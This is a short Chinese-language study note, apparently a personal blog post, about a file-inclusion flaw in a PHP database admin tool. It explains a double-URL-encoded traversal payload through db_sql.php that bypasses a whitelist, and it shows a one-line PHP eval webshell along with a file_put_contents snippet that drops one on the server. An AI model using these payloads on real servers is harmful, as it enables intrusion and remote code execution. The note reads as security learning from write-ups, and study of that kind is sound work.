先上大佬解釋的漏洞原理鏈接
https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF%2FjxV%2F9%2FcEb5pShRgewJe%2FttJn2gIlIyGF%2FbsgGmzcbsV%2BLmMK#rd
不光可以通過本身存在的包含漏洞,還能再mysql中直接寫入一句話木馬,然后解析連接
當時原理一直沒看到最后一步的payload: db_sql.php%253f/../../../../../../windows/system.ini 問了很多人,搞不懂db_sql.php?這個東西,今天偶然看到一個WP,發現了。emmmmmmmmm,SO噶,解決了那天看了一晚上也沒懂這個細節的。代碼審計簡單,這個暈死了。 算個小trick? 附上鏈接(https://www.jianshu.com/p/8f5ba751aa0f)
看來我要在ubuntu下也搭個環境,方便測試。這個trick問了好多好多人,給我的答復沒有講到這個細節,都認識我是代碼審計有問題。。。。。。。然而我在意的就是這個小細節,可能大佬們把這個作為常識 0-0,恕我直言,我太垃圾。 。繼續加油
php中,url中帶?的會被解析為參數而不是路徑,雙重編碼,第一次會自動解碼一回,呢么就饒過了php對url的解釋,第二次解碼后,繞過了白名單驗證。
include的target應該是include 'db_sql.php%3f/../../../../../../windows/system.ini' 在include中,%3f會被當作是路徑(反正能include到最后的文件就完事了)
其次如果包含的是一句話木馬的話,傳入 include target=././././123.txt?a=phpinfo()會爆錯,因為php會把?解釋為傳參而不是路徑,而include會認為那是路徑
所以用& 代替 ?
有時候菜刀連不了一句話的話,可以用a= $a='<?php @eval($_POST[\'a\'])?>'; file_put_contents('xxx.php'.$a); echo 'ok' ;
利用小馬中eval的特性,可以直接當作正常的php執行
https://www.cnblogs.com/bmjoker/p/9897436.html寫的非常完整。
https://www.jianshu.com/p/0d75017c154f更詳細的原理
https://www.jianshu.com/p/73ca8146af04 我最能理解的一個